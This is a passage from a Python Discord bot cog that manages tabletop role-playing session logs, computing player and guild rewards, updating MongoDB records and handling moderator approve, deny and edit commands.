dmRole = 'Junior'\n                    dmTierNum = 1\n                elif charLevel < 11:\n                    dmRole = 'Journey'\n                    dmTierNum = 2\n                elif charLevel < 17:\n                    dmRole = 'Elite'\n                    dmTierNum = 3\n                elif charLevel < 20:\n                    dmRole = 'True'\n                    dmTierNum = 4\n                \n                guild_valid =(\"Guild\" in player and \n                                    player[\"Guild\"] in guilds and \n                                    guilds[player[\"Guild\"]][\"Status\"] and\n                                player[\"CP\"]>= 3 and player['Guild Rank'] > 1)\n                guildDouble = (guild_valid and \n                                guilds[player[\"Guild\"]][\"Rewards\"] and \n                                player[\"2xR\"])\n                    \n                \n                 \n                player[\"Double\"] = dm[\"ID\"] in userDBEntriesDic.keys() and \"Double\" in userDBEntriesDic[dm[\"ID\"]] and userDBEntriesDic[dm[\"ID\"]][\"Double\"] >0\n                playerDouble = player[\"Double\"]\n                \n                dmDouble = player[\"DM Double\"] and sessionInfo[\"DDMRW\"]\n                bonusDouble = \"Bonus\" in sessionInfo and sessionInfo[\"Bonus\"]\n                \n                treasureArray  = calculateTreasure(charLevel, character[\"CP\"], duration, guildDouble, playerDouble, dmDouble, bonusDouble)\n                    \n                    \n                if(guild_valid and \n                        guilds[player[\"Guild\"]][\"Items\"] and \n                        player[\"2xI\"]):\n                    for i in player[\"Double Items\"]:\n                        if i[0] == \"Magic Items\":\n                            player[\"Magic Items\"].append(i[1])\n                        else:\n                            player[i[0]][\"Add\"].append(i[1])\n                    player[\"Double Items\"] = []\n                    \n                \n                if not item_rewards:\n                    player[\"Consumables\"][\"Add\"] = []\n                    player[\"Inventory\"][\"Add\"] = []\n                    player[\"Magic Items\"] = []\n                    \n                # create a list of all items the character has\n                consumableList = character[\"Consumables\"].split(\", \")\n                consumablesString = \"\"\n                \n                \n                #if we know they didnt have any items, we know that changes could only be additions\n                if(character[\"Consumables\"]==\"None\"):\n                    # turn the list of added items into the new string\n                    consumablesString = \", \".join(player[\"Consumables\"][\"Add\"])\n                else:\n                    #remove the removed items from the list of original items and then combine the remaining and the new items                \n                    for i in player[\"Consumables\"][\"Remove\"]:\n                        consumableList.remove(i)\n                    consumablesString = \", \".join(player[\"Consumables\"][\"Add\"]+consumableList)\n                    \n                # if the string is empty, turn it into none\n                consumablesString += \"None\"*(consumablesString==\"\")\n                \n                # magic items cannot be removed so we only care about addtions\n                # if we have no items and no additions, string is None\n                magicItemString = \"None\"\n                if(character[\"Magic Items\"]==\"None\"):\n                    if(len(player[\"Magic Items\"])==0):\n                        pass\n                    else:\n                        # otherwise it is just the combination of new items\n                        magicItemString = \", \".join(player[\"Magic Items\"])\n                else:\n                    # otherwise connect up the old and new items\n                    magicItemString = character[\"Magic Items\"]+(\", \"+ \", \".join(player[\"Magic Items\"]))*(len(player[\"Magic Items\"])>0)\n                    \n                    \n                \n                # increase the relevant inventory entries and create them if necessary\n                for i in player[\"Inventory\"][\"Add\"]:\n                    if i in character[\"Inventory\"]:\n                        character[\"Inventory\"][i] += 1\n                    else:\n                        character[\"Inventory\"][i] = 1\n                \n                # decrement the relevant items and delete the entry when necessary\n                for i in player[\"Inventory\"][\"Remove\"]:\n                    character[\"Inventory\"][i] -= 1\n                    if int(character[\"Inventory\"][i]) <= 0:\n                        del character[\"Inventory\"][i]\n                \n                # set up all db values that need to be incremented\n                increment = {\"CP\":  treasureArray[0], \"GP\":  treasureArray[2],\"Games\": 1, \"Event Token\": event_inc}\n                \n                # for every TP tier value that was gained create the increment field\n                for k,v in treasureArray[1].items():\n                    increment[k] = v\n                \n                player_set = {\"Consumables\": consumablesString, \n                                \"Magic Items\": magicItemString, \n                                \"Inventory\" : character[\"Inventory\"], \n                                \"Drive\" : []}\n\n                for g in guilds.values():\n                    if g[\"Drive\"] and player[\"CP\"] >= 3:\n                        player_set[\"Drive\"] = g[\"Name\"]\n                        break\n                \n                charRewards = {'_id': player[\"Character ID\"],  \n                                \"fields\": {\"$unset\": {f\"GID\": 1},\n                                \"$inc\": increment, \n                                \"$set\": player_set}}\n                                 \n                playerUpdates.append(charRewards)\n            else:\n                playerUpdates.append({'_id': player[\"Character ID\"],\n                                        'fields': {\"$unset\": {f\"GID\": 1},\n                                        \"$inc\": {\"Stored\": duration,\n                                                    \"Games\": 1,\n                                                    \"Event Token\" : event_inc}}})\n\n        hoursPlayed = maximumCP\n        # that is the base line of sparkles and noodles gained\n        sparklesGained = int(hoursPlayed) // 3\n        timerData = list(map(lambda item: UpdateOne({'_id': item['_id']}, item['fields']), playerUpdates))\n        players[dm[\"ID\"]] = dm\n        guildsData = []\n        # if the game received rewards\n        if role != \"\": \n            # passed in parameter, check if there were guilds involved\n            if guilds != list():\n                # for every guild in the game\n                for g in guildDBEntriesDic.values():\n                    name = g[\"Name\"]                    \n                    gain = 0\n                    # get the DB record of the guild\n                    #filter player list by guild\n                    gPlayers = [p for p in players.values() if \"Guild\" in p and p[\"Guild\"] == name]\n                    p_count = len(gPlayers) - int(\"Guild\" in dm and dm[\"Guild\"] == name)\n                    for p in gPlayers:\n                        gain += p[\"CP\"]  // 3\n                    guilds[name][\"Player Sparkles\"] = gain - sparklesGained*int(\"Guild\" in dm and dm[\"Guild\"] == name)\n                    guilds[name][\"DM Sparkles\"] = 2*sparklesGained*int(\"Guild\" in dm and dm[\"Guild\"] == name)\n\n                    gain += sparklesGained*int(\"Guild\" in dm and dm[\"Guild\"] == name)\n                    \n                    reputationCost = (20*guilds[name][\"Rewards\"]+10*guilds[name][\"Items\"]+guild_drive_costs[sessionInfo[\"Tier\"]]*guilds[name][\"Drive\"])*guilds[name][\"Status\"]\n                    if guilds[name][\"Status\"]:\n                        guildsData.append(UpdateOne({\"Name\": name},\n                                                   {\"$inc\": {\"Games\": 1, \"Reputation\": int(gain- reputationCost), \"Total Reputation\": gain}}))\n        \n        del players[dm[\"ID\"]]\n        \n        end = sessionInfo[\"End\"]\n        start = sessionInfo[\"Start\"]\n        \n        # Noodles Math\n        dmEntry = userDBEntriesDic[dm[\"ID\"]]\n        \n        if \"DM Time\" not in dmEntry:\n            dmEntry[\"DM Time\"] = 0\n        if \"Noodles\" not in dmEntry:\n            dmEntry[\"Noodles\"] = 0\n        noodles = dmEntry[\"Noodles\"]\n        duration = totalDuration = end - start\n        duration = end - start\n        # if duration < 3*3600:\n            # duration = 0\n        noodlesGained = int((duration + dmEntry[\"DM Time\"])//(3*3600))\n        new_dm_time = (duration + dmEntry[\"DM Time\"])%(3*3600)\n        noodles += noodlesGained\n        try:\n            \n            # get the stats for the month and create an entry if it doesnt exist yet\n            statsIncrement ={\"Games\": 1, \"Playtime\": totalDuration, 'Players': len(players.keys())}\n            statsAddToSet = {}\n            for name in [g[\"Name\"] for g in guilds.values() if g[\"Status\"]]:\n                # Track how many guild quests there were\n                statsIncrement[\"Guilds.\"+name+\".GQ\"] = 1\n                statsIncrement[\"Guilds.\"+name+\".GQM\"] = 0\n                statsIncrement[\"Guilds.\"+name+\".GQDM\"] = 0\n                statsIncrement[\"Guilds.\"+name+\".GQNM\"] = 0\n                statsIncrement[\"Guilds.\"+name+\".Player Sparkles\"] = guilds[name][\"Player Sparkles\"]\n                statsIncrement[\"Guilds.\"+name+\".DM Sparkles\"] = guilds[name][\"DM Sparkles\"]\n                # track how many games had a guild memeber with rewards and how many have not\n                if guilds[name][\"Player Sparkles\"] > 0: \n                    statsIncrement[\"Guilds.\"+name+\".GQM\"] = 1\n                elif guilds[name][\"DM Sparkles\"] > 0:\n                    statsIncrement[\"Guilds.\"+name+\".GQDM\"] = 1\n                else:\n                    statsIncrement[\"Guilds.\"+name+\".GQNM\"] = 1\n            # Total Number of Games for the Month / Life\n            \n            # increment or create the stat entry for the DM of the game\n            statsIncrement[f\"DM.{dm['ID']}.T{tierNum}\"] = 1\n            statsIncrement[f\"T{tierNum}\"] = 1\n            statsIncrement[f\"GQ Total\"] = int(any ([g[\"Status\"] for g in guilds.values()]))\n            if totalDuration > 10800: #3 hours\n                if (tierNum in [0, 1]):\n                    statsIncrement[f\"DM.{dm['ID']}.Friend\"] = 1\n                if (len(guildsData)>0):\n                    statsIncrement[f\"DM.{dm['ID']}.Guild Fanatic\"] = 1\n                    for g in guildDBEntriesDic.values():\n                        if guilds[g[\"Name\"]][\"Status\"]:\n                            statsIncrement[f\"DM.{dm['ID']}.Guild Fanatic\"] = 1\n                            statsIncrement[f\"DM.{dm['ID']}.Guilds.{g['Name']}\"] = 1\n            \n            \n            # track a list of unique players\n            statsAddToSet = { 'Unique Players': { \"$each\":  list([p for p in players.keys()])} }\n            \n            \n            # track playtime and players\n\n\n            \n            dateyear = datetime.fromtimestamp(start).astimezone(pytz.timezone(timezoneVar)).strftime(\"%b-%y\")\n            # update all the other data entries\n            # update the DB stats\n            statsCollection.update_one({'Date': dateyear}, {\"$set\": {'Date': dateyear}, \"$inc\": statsIncrement, \"$addToSet\": statsAddToSet}, upsert=True)\n            statsCollection.update_one({'Life': 1}, {\"$inc\": statsIncrement, \"$addToSet\": statsAddToSet}, upsert=True)\n            # update the DM' stats\n            \n            usersCollection.update_one({'User ID': str(dm[\"ID\"])}, {\"$set\": {'User ID':str(dm[\"ID\"]),'DM Time': new_dm_time}, \"$inc\": {'Games': 1, 'Noodles': noodlesGained, 'Double': -1*dm[\"Double\"]}}, upsert=True)\n            playersCollection.bulk_write(timerData)\n            \n            usersData = list([UpdateOne({'User ID': key}, {'$inc': {'Games': 1, 'Double': -1*item[\"Double\"] }}, upsert=True) for key, item in {character[\"User ID\"] : players[character[\"User ID\"] ] for character in characterDBentries}.items()])\n            usersCollection.bulk_write(usersData)\n            \n            logData.update_one({\"_id\": sessionInfo[\"_id\"]}, {\"$set\" : {\"Status\": \"Approved\"}})\n            sessionInfo[\"Status\"]=\"Approved\"\n            \n            if guildsData != list():\n                # do a bulk write for the guild data\n                db.guilds.bulk_write(guildsData)\n            \n            await  generateLog(self, ctx, num, sessionInfo=sessionInfo, userDBEntriesDic=userDBEntriesDic, guildDBEntriesDic=guildDBEntriesDic, characterDBentries=characterDBentries)\n            \n            del players[dm[\"ID\"]]\n            game = sessionInfo[\"Game\"]\n            for k,p in players.items():\n                c = ctx.guild.get_member(int(k))\n                if(c):\n                    try:\n                        await c.send(f\"The session log for **{game}** has been approved. **{p['Character Name']}** has received their rewards.\")\n                    except Forbidden as cie:\n                        await ctx.channel.send(content=f\"{c.mention} has blocked the bot.\")\n            dm_text = \"\"\n            if(\"Character ID\" in dm):\n                dm_text += f\" **{dm['Character Name']}** has received their rewards.\"\n            \n            c = ctx.guild.get_member(int(dm[\"ID\"]))\n            if(c):\n                try:\n                    await c.send(f\"Your session log for **{game}** has been approved.{dm_text}\")\n                except Forbidden as cie:\n                    await ctx.channel.send(content=f\"{c.mention} has blocked the bot.\")\n            await ctx.channel.send(\"The session has been approved.\")\n            \n        except BulkWriteError as bwe:\n            print(bwe.details)\n            charEmbedmsg = await ctx.channel.send(embed=None, content=\"Uh oh, looks like something went wrong. Please try the timer again.\")\n        guild = ctx.guild\n        dmUser = ctx.guild.get_member(int(dm[\"ID\"]))\n        if dmUser:\n            noodleString = \"\"\n            dmRoleNames = [r.name for r in dmUser.roles]\n            # for the relevant noodle role cut-off check if the user would now qualify for the role and if they do not have it and remove the old role\n            noodles_barrier=0\n            broken_barrier=0\n            noodles_position = -1\n            for i in range(len(noodleRoleArray)):\n                if noodles >= max(noodles_barrier, 1):\n                    noodles_position = i\n                    broken_barrier = max(noodles_barrier, 1)\n                noodles_barrier += 10*(i+1)\n            if noodles_position >= 0:\n                noodle_name = noodleRoleArray[noodles_position]\n                if noodle_name not in dmRoleNames:\n                    noodleRole = get(guild.roles, name = noodle_name)\n                    await dmUser.add_roles(noodleRole, reason=f\"Hosted {broken_barrier} sessions. This user has {broken_barrier}+ Noodles.\")\n                    if noodles_position>0:\n                        remove_role = noodleRoleArray[noodles_position-1]\n                        if remove_role in dmRoleNames:\n                            await dmUser.remove_roles(get(guild.roles, name = remove_role))\n\n\n    @commands.has_any_role('Mod Friend', 'A d m i n')\n    @session.command()\n    async def deny(self,ctx,  num : int):\n        channel = self.bot.get_channel\n        logData = db.logdata\n        sessionInfo = logData.find_one({\"Log ID\": int(num)})\n        channel = self.bot.get_channel(settingsRecord[str(ctx.guild.id)][\"Sessions\"]) \n        \n        try:\n            editMessage = await channel.fetch_message(num)\n        except Exception as e:\n            return await ctx.channel.send(\"Log could not be found.\")\n            \n        if not sessionInfo:\n            return await ctx.channel.send(\"Session could not be found.\")\n        \n        if sessionInfo[\"Status\"] == \"Approved\" or sessionInfo[\"Status\"] == \"Denied\":\n            await ctx.channel.send(\"This session has already been processed\")\n            return\n        if ctx.message.author.id == int(sessionInfo[\"DM\"][\"ID\"]):\n            await ctx.channel.send(\"You cannot deny your own log.\")\n            return\n        if not editMessage or editMessage.author != self.bot.user:\n            return await ctx.channel.send(\"Session has no corresponding message in the log channel.\")\n\n        sessionLogEmbed = editMessage.embeds[0]\n        #dictionary indexed by user id\n        players = sessionInfo[\"Players\"] \n        # {cp, magic items, consumables, inventory, status, character id, character name, character level, character cp, double rewards, guild, }\n                \n                 \n        playerUpdates = []   \n        dm = sessionInfo[\"DM\"] \n        # {cp, magic items, consumables, inventory, character id, character name, character level, character cp, double rewards, guild, noodles, dm double}\n        if \"Character ID\" in dm:\n            charRewards = {'_id': dm[\"Character ID\"],  \n                                \"fields\": {\"$unset\": {f\"GID\": 1} }}\n            playerUpdates.append(charRewards)\n        \n        role = sessionInfo[\"Role\"]\n        \n        # get the collections of characters\n        playersCollection = db.players\n\n        \n        for player in players.values():\n            if role != \"\":\n                charRewards = {'_id': player[\"Character ID\"],  \n                                    \"fields\": {\"$unset\": {f\"GID\": 1} }}\n                playerUpdates.append(charRewards)\n                \n            else:\n                # if there were no rewards we only care about the time\n                pass\n                \n        timerData = list(map(lambda item: UpdateOne({'_id': item['_id']}, item['fields']), playerUpdates))\n        \n                                               \n        try:                \n            playersCollection.bulk_write(timerData)\n            logData.update_one({\"_id\": sessionInfo[\"_id\"]}, {\"$set\" : {\"Status\": \"Denied\"}})\n            \n            game = sessionInfo[\"Game\"]\n            for k,p in players.items():\n                c = ctx.guild.get_member(int(k))\n                if(c):\n                    await c.send(f\"The session log for **{game}** has been denied. **{p['Character Name']}** has been cleared.\")\n            dm_text = \"\"\n            if(\"Character ID\" in dm):\n                dm_text += f\" **{dm['Character Name']}** has been cleared.\"\n            \n            c = ctx.guild.get_member(int(dm[\"ID\"]))\n            if(c):\n                await c.send(f\"Your session log for **{game}** has been denied.\"+dm_text)\n            #logData.delete_one({\"Log ID\": num})\n            sessionLogEmbed.set_footer(text=f\"Game ID: {num}\\n❌ Log Denied! Characters have been cleared.\")\n            await editMessage.edit(embed=sessionLogEmbed)\n            await ctx.channel.send(\"The session has been denied.\")\n        except BulkWriteError as bwe:\n            print(bwe.details)\n            charEmbedmsg = await ctx.channel.send(embed=None, content=\"Uh oh, looks like something went wrong. Please try the timer again.\")\n        #except Exception as e:\n        #    print ('MONGO ERROR: ' + str(e))\n        #    charEmbedmsg = await ctx.channel.send(embed=None, content=\"Uh oh, looks like something went wrong. Please try the timer again.\")\n\n\n    @session.command()\n    async def denyGuild(self, ctx,  num : int, *, guilds):\n        await self.guildPermission(ctx, num, \"Status\", False, 0)\n    @session.command()\n    async def approveGuild(self, ctx,  num : int, *, guilds):\n        await self.guildPermission(ctx, num, \"Status\", True, 0)\n        \n    #@session.command()\n    async def denyRewards(self, ctx,  num : int, *, guilds):\n        await self.guildPermission(ctx, num, \"Rewards\", False, 0)\n    #@session.command()\n    async def approveRewards(self, ctx,  num : int, *, guilds):\n        await self.guildPermission(ctx, num, \"Rewards\", True, 3)\n        \n        \n    #@session.command()\n    async def denyDrive(self, ctx,  num : int, *, guilds):\n        await self.guildPermission(ctx, num, \"Drive\", False, 0, unique = False)\n    #@session.command()\n    async def approveDrive(self, ctx,  num : int, *, guilds):\n        await self.guildPermission(ctx, num, \"Drive\", True, 0, unique = True)\n        \n    async def guildPermission(self, ctx, num : int, target, goal, min_members, unique = False):\n        logData = db.logdata\n        sessionInfo = logData.find_one({\"Log ID\": int(num)})\n        if( sessionInfo):\n            if( sessionInfo[\"Status\"] != \"Approved\" and sessionInfo[\"Status\"] != \"Denied\"):\n                mod = \"Mod Friend\" in [r.name for r in ctx.author.roles]\n                if( (str(ctx.author.id) == sessionInfo[\"DM\"][\"ID\"]) or mod):\n                # if the game received rewards\n                    if len(sessionInfo[\"Guilds\"].keys()) > 0: \n                        players = sessionInfo[\"Players\"]\n                        players[sessionInfo[\"DM\"][\"ID\"]] = sessionInfo[\"DM\"]\n                        guilds = sessionInfo[\"Guilds\"]\n                        if unique and ((len(ctx.message.channel_mentions) > 1) or any([g[\"Drive\"] for g in guilds.values()])):\n                            await ctx.channel.send(\"The Recruitment Drive Guild Boon can only be used by one guild per guild quest.\")\n                            return\n                        guild_dic = {}\n                        for g in guilds.values():\n                            guild_dic[g[\"Mention\"]] = g\n                        err_message = \"\"\n                        for guildChannel in ctx.message.channel_mentions:\n                            \n                            m = guildChannel.mention\n                            # filter player list by guild\n                            gPlayers = [p for p in players.values() if \"Guild\" in p and \n                                            p[\"Guild\"] in guilds and\n                                            guilds[p[\"Guild\"]][\"Mention\"] == m\n                                            and  p[\"CP\"]>= 3 and p['Guild Rank'] > 1]\n                            if(len(gPlayers) >= min_members):\n                                if guildChannel.mention in guild_dic:\n                                    try:\n                                        db.logdata.update_one({\"_id\": sessionInfo[\"_id\"]}, {\"$set\": {\"Guilds.\"+guild_dic[m][\"Name\"]+\".\"+target: goal}})\n                                    except BulkWriteError as bwe:\n                                        print(e)\n                                else:\n                                    err_message += m +\" not found in game.\\n\"\n                            else:\n                                err_message += \"There needs to be a minimum of three guild members from \"+ m +\" in order to activate its Guild Boons.\"\n                        if err_message != \"\":\n                            await ctx.channel.send(err_message)\n                        else:\n                            await ctx.channel.send(\"Session updated.\")\n                            await generateLog(self, ctx, num)\n                    else:\n                        await ctx.channel.send(\"There were no guilds in the session.\")\n                else:\n                    await ctx.channel.send(\"You do not have the permissions to perform this change to the session.\")\n            else:\n                await ctx.channel.send(\"This session has already been processed\")\n        else:\n            await ctx.channel.send(\"The session could not be found, please double check your number or if the session has already been approved.\")\n            \n    @session.command()\n    async def addGuilds(self, ctx,  num : int, *, guilds):\n    \n        mod = \"Mod Friend\" in [r.name for r in ctx.author.roles]\n        if(mod):\n            logData = db.logdata\n            sessionInfo = logData.find_one({\"Log ID\": int(num)})\n            if( sessionInfo):\n                if( sessionInfo[\"Status\"] != \"Approved\" and sessionInfo[\"Status\"] != \"Denied\"):\n                    guilds = sessionInfo[\"Guilds\"]\n                    guild_dic = {}\n                    for g in guilds.values():\n                        guild_dic[g[\"Mention\"]] = g\n                    err_message = \"\"\n                    for guildChannel in ctx.message.channel_mentions:\n                        \n                        # get the DB record of the guild\n                        gRecord  = db.guilds.find_one({\"Channel ID\": str(guildChannel.id)})\n                        if not gRecord:\n                            continue\n                        guildDBEntry = {}\n                        guildDBEntry[\"Status\"] = True\n                        guildDBEntry[\"Rewards\"] = False\n                        guildDBEntry[\"Items\"] = False\n                        guildDBEntry[\"Drive\"] = False\n                        guildDBEntry[\"Mention\"] = guildChannel.mention\n                        guildDBEntry[\"Name\"] = gRecord[\"Name\"]\n                        \n                        \n                        mention = guildChannel.mention\n                        if mention not in guild_dic:\n                            try:\n                                db.logdata.update_one({\"_id\": sessionInfo[\"_id\"]}, {\"$set\": {\"Guilds.\"+gRecord[\"Name\"]: guildDBEntry}})\n                            except BulkWriteError as bwe:\n                                print(e)\n                        else:\n                            err_message += mention +\" already found in game.\\n\"\n                       \n                    if err_message != \"\":\n                        await ctx.channel.send(err_message)\n                    await ctx.channel.send(\"Session updated.\")\n                    await generateLog(self, ctx, num)\n\n                else:\n                    await ctx.channel.send(\"This session has already been processed\")\n            else:\n                await ctx.channel.send(\"The session could not be found, please double check your number or if the session has already been approved.\")\n     \n    @commands.has_any_role('Mod Friend', 'Admins')      \n    @session.command()\n    async def denyBonus(self, ctx,  num : int):\n        await self.session_set(ctx, num, \"Bonus\", False)\n        \n    @commands.has_any_role('Mod Friend', 'Admins')\n    @session.command()\n    async def approveBonus(self, ctx,  num : int):\n        await self.session_set(ctx, num, \"Bonus\", True)\n     \n    @commands.has_any_role('Mod Friend', 'Admins')      \n    @session.command()\n    async def denyDDMRW(self, ctx,  num : int):\n        await self.session_set(ctx, num, \"DDMRW\", False)\n        \n    @commands.has_any_role('Mod Friend', 'Admins')\n    @session.command()\n    async def approveDDMRW(self, ctx,  num : int):\n        await self.session_set(ctx, num, \"DDMRW\", True)\n        \n    @commands.has_any_role('Mod Friend', 'Admins')      \n    @session.command()\n    async def denyEvent(self, ctx,  num : int):\n        await self.session_set(ctx, num, \"Event\", False)\n        \n        \n    @commands.has_any_role('Mod Friend', 'Admins')  \n    @session.command()\n    async def denyItems(self, ctx,  num : int):\n        await self.session_set(ctx, num, \"Items\", False)\n        \n    @commands.has_any_role('Mod Friend', 'Admins')  \n    @session.command()\n    async def approveItems(self, ctx,  num : int):\n        await self.session_set(ctx, num, \"Items\", True)\n        \n    @commands.has_any_role('Mod Friend', 'Admins')\n    @session.command()\n    async def approveEvent(self, ctx,  num : int):\n        await self.session_set(ctx, num, \"Event\", True)\n    @commands.has_any_role('Mod Friend', 'Admins')\n    @session.command()\n    async def pending(self, ctx,  num : int):\n        await self.session_set(ctx, num, \"Status\", \"Pending\")\n        \n    async def session_set(self, ctx, num : int, target, goal):\n        logData = db.logdata\n        sessionInfo = logData.find_one({\"Log ID\": int(num)})\n        if( sessionInfo):\n            if( sessionInfo[\"Status\"] != \"Approved\" and sessionInfo[\"Status\"] != \"Denied\"):\n                try:\n                    db.logdata.update_one({\"_id\": sessionInfo[\"_id\"]}, {\"$set\": {target: goal}})\n                except BulkWriteError as bwe:\n                    print(e)\n                await ctx.channel.send(\"Session updated.\")\n                await generateLog(self, ctx, num)\n            else:\n                await ctx.channel.send(\"This session has already been processed\")\n        else:\n            await ctx.channel.send(\"The session could not be found, please double check your number or if the session has already been approved.\")\n                        \n    @session.group()\n    async def ddmrw(self, ctx):\t\n        pass\n    \n    @ddmrw.command()\n    async def optout(self, ctx, num :int):\n        await self.ddmrwOpt(ctx, num, False)\n    @ddmrw.command()\n    async def optin(self, ctx, num : int):\n        await self.ddmrwOpt(ctx, num, True)\n    \n    # allows DMs to opt in or out of DDMRW\n    async def ddmrwOpt(self, ctx, num : int, goal):\n        logData =db.logdata\n        sessionInfo = logData.find_one({\"Log ID\": int(num)})\n        if( sessionInfo):\n            if( sessionInfo[\"Status\"] != \"Approved\" and sessionInfo[\"Status\"] != \"Denied\"):\n                if (str(ctx.author.id) == sessionInfo[\"DM\"][\"ID\"] or \"Mod Friend\" in [r.name for r in ctx.author.roles] and sessionInfo[\"DDMRW\"]):\n                    try:\n                        db.logdata.update_one({\"_id\": sessionInfo[\"_id\"]}, {\"$set\": {\"DM.DM Double\": goal}})\n                        await generateLog(self, ctx, num)\n                    except BulkWriteError as bwe:\n                        print(bwe)\n                else:\n                    await ctx.channel.send(\"You were not the DM of that session or it was not DDMRW.\")\n            else:\n                await ctx.channel.send(\"This session has already been processed\")\n        else:\n            await ctx.channel.send(\"The session could not be found, please double check your number or if the session has already been approved.\")\n      \n    #@session.command()\n    async def optout2xR(self, ctx,  num : int):\n        await self.userOpt(ctx, num, \"2xR\", False)\n    #@session.command()\n    async def optin2xR(self, ctx,  num : int):\n        await self.userOpt(ctx, num, \"2xR\", True)\n        \n    #@session.command()\n    async def optout2xI(self, ctx,  num : int):\n        await self.userOpt(ctx, num, \"2xI\", False)\n    #@session.command()\n    async def optin2xI(self, ctx,  num : int):\n        await self.userOpt(ctx, num, \"2xI\", True)\n        \n    async def userOpt(self, ctx, num : int, target, goal):\n        logData = db.logdata\n        sessionInfo = logData.find_one({\"Log ID\": int(num)})\n        if( sessionInfo):\n            if( sessionInfo[\"Status\"] != \"Approved\" and sessionInfo[\"Status\"] != \"Denied\"):\n                if sessionInfo[\"Role\"] != \"\": \n                    players = sessionInfo[\"Players\"]\n                    players[sessionInfo[\"DM\"][\"ID\"]] = sessionInfo[\"DM\"]\n                    user_id = str(ctx.author.id)\n                    if user_id in players.keys():\n                        if \"Guild\" in players[user_id] and players[user_id][\"Guild\"] in sessionInfo[\"Guilds\"].keys():\n                            player_target = f\"Players.{ctx.author.id}.\"\n                            if user_id == sessionInfo[\"DM\"][\"ID\"]:\n                                player_target = \"DM.\"\n                            try:\n                                db.logdata.update_one({\"_id\": sessionInfo[\"_id\"]}, {\"$set\": {player_target+target: goal}})\n                            except BulkWriteError as bwe:\n                                print(bwe)\n                            else:\n                                await ctx.channel.send(\"Session updated.\")\n                                await generateLog(self, ctx, num) \n                        else:\n                            await ctx.channel.send(\"Your character's guild is not valid for this session.\")\n                        \n                    else:\n                        await ctx.channel.send(\"You were not part of the session\")\n            else:\n                await ctx.channel.send(\"This session has already been processed\")\n        else:\n            await ctx.channel.send(\"The session could not be found, please double check your number or if the session has already been approved.\")\n    \n    @session.command()\n    async def setGold(self, ctx,  num : int, gold_modifier : int):\n        if gold_modifier < 0 or gold_modifier > 100:\n            await ctx.channel.send(f\"{gold_modifier} is an invalid percentage.\")\n            return\n        logData = db.logdata\n        sessionInfo = logData.find_one({\"Log ID\": int(num)})\n        if( sessionInfo):\n            if( sessionInfo[\"Status\"] != \"Approved\" and sessionInfo[\"Status\"] != \"Denied\"): # True):#\n                mod = \"Mod Friend\" in [r.name for r in ctx.author.roles]\n                if( (str(ctx.author.id) == sessionInfo[\"DM\"][\"ID\"]) or mod):\n                    try:\n                        db.logdata.update_one({\"_id\": sessionInfo[\"_id\"]}, {\"$set\": {\"Gold Modifier\": gold_modifier}})\n                    except BulkWriteError as bwe:\n                        print(e)\n                    \n                    await ctx.channel.send(\"Session updated.\")\n                    await generateLog(self, ctx, num)\n                else:\n                    await ctx.channel.send(\"You do not have the permissions to perform this change to the session.\")\n            else:\n                await ctx.channel.send(\"This session has already been processed\")\n        else:\n            await ctx.channel.send(\"The session could not be found, please double check your number or if the session has already been approved.\")\n    \n    \n    @commands.has_any_role('Mod Friend', 'A d m i n')\n    @session.command()\n    async def genLog(self, ctx,  num : int):\n        logData = db.logdata\n        sessionInfo = logData.find_one({\"Log ID\": int(num)})\n        if(sessionInfo):\n            await generateLog(self, ctx, num) \n            await ctx.channel.send(\"Log has been generated.\")\n    \n        else:\n            await ctx.channel.send(\"The session could not be found, please double check your number.\")\n    \n    @session.command()\n    async def log(self, ctx,  num : int, *, editString=\"\"):\n        # The real Bot\n        botUser = self.bot.user\n        # Logs channel \n        channel = self.bot.get_channel(settingsRecord[str(ctx.guild.id)][\"Sessions\"]) \n        editMessage = await channel.fetch_message(num)\n\n        async with channel.typing():\n            if not editMessage or editMessage.author != self.bot.user:\n                delMessage = await ctx.channel.send(content=f\"I couldn't find your session with ID `{num}`. Please try again. I will delete your message and this message in 10 seconds.\\n\\n:warning: **DO NOT DELETE YOUR OWN MESSAGE.** :warning\")\n                await asyncio.sleep(10) \n                await delMessage.delete()\n                await ctx.message.delete() \n                return\n\n\n        logData =db.logdata\n        sessionInfo = logData.find_one({\"Log ID\": int(num)})\n        if( sessionInfo):\n            if (str(ctx.author.id) == sessionInfo[\"DM\"][\"ID\"] or \n                \"Mod Friend\" in [r.name for r in ctx.author.roles]):\n                pass\n                 \n            else:\n                await ctx.channel.send(\"You were not the DM of that session and cannot edit it.\")\n                return \n        else:\n            await ctx.channel.send(\"The session could not be found. Please double check your number or if the session has already been approved.\")\n            return\n        sessionLogEmbed = editMessage.embeds[0]\n\n        if sessionInfo[\"Status\"] != \"Approved\" and sessionInfo[\"Status\"] != \"Denied\":\n            summaryIndex = sessionLogEmbed.description.find('Summary**')\n            sessionLogEmbed.description = sessionLogEmbed.description[:summaryIndex]+\"Summary**\\n\" + editString+\"\\n\"\n        else:\n            sessionLogEmbed.description += \"\\n\"+editString\n        try:\n            await editMessage.edit(embed=sessionLogEmbed)\n        except Exception as e:\n            delMessage = await ctx.channel.send(content=f\"The maximum length of the session log summary is 2048 symbols. Please reduce the length of your summary.\")\n        else:\n            try:\n                delMessage = await ctx.channel.send(content=f\"I've edited the summary for quest #{num}.\\n```{editString}```\\nPlease double-check that the edit is correct. I will now delete your message and this one in 30 seconds.\")\n            except Exception as e:\n                delMessage = await ctx.channel.send(content=f\"I've edited the summary for quest #{num}.\\nPlease double-check that the edit is correct. I will now delete your message and this one in 30 seconds.\")\n        \n        await asyncio.sleep(30) \n        try:\n            await ctx.message.delete()\n        except Exception as e:\n            pass\n        await delMessage.delete()\n        \nasync def setup(bot):\n    await bot.add_cog(Log(bot))","sub_path":"cogs/logs.py","file_name":"logs.py","file_ext":"py","file_size_in_byte":66760,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
